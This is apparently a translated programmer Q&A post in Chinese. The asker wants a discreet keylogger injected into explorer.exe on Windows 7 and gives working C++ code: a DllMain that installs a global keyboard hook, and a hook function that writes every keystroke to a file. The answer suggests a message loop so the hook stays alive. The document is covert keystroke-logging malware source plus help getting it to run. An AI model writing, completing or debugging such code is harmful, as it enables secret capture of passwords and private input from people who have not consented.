explorer.exe上注入的dll中的无限循环



我正试图在Windows7上创建一个键盘记录程序。为此,我创建了一个Dll(setHook.dll),并将其注入explorer.exe的新线程中。在第一个Dll中,我打开了另一个Dll,其中包含在每个键盘输入上调用的函数(hookfunc)。

我需要让我的Dll在后台工作,因为如果它死了,我就失去了Hook函数。为了做到这一点,我尝试过:

  • Sleep(INFINITE);:暂时工作,但explorer.exe崩溃
  • while(1);:暂时工作,但explorer.exe崩溃
  • system("pause"):工作!但我不希望控制台出现在屏幕上,我的键盘记录必须谨慎
  • getchar():与system("pause")相同
  • system("pause > null");:拒绝访问
  • this_thread::sleep_for(chrono::seconds(10)):资源管理器崩溃

SetHook.dll:

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;
    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\Projets\Visual Studio 2013\Projets\inject\x64\Debug\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

回调函数:(我认为它没有帮助)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

代码是有效的,我只需要一个谨慎的无限循环,而不是Sleep(infinite)。知道吗?

睡在DllMain几乎肯定是个坏主意。

我想你正试图安装一个全局钩子。要做到这一点,您需要在注入器应用程序中运行消息循环,例如:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
} 

最新更新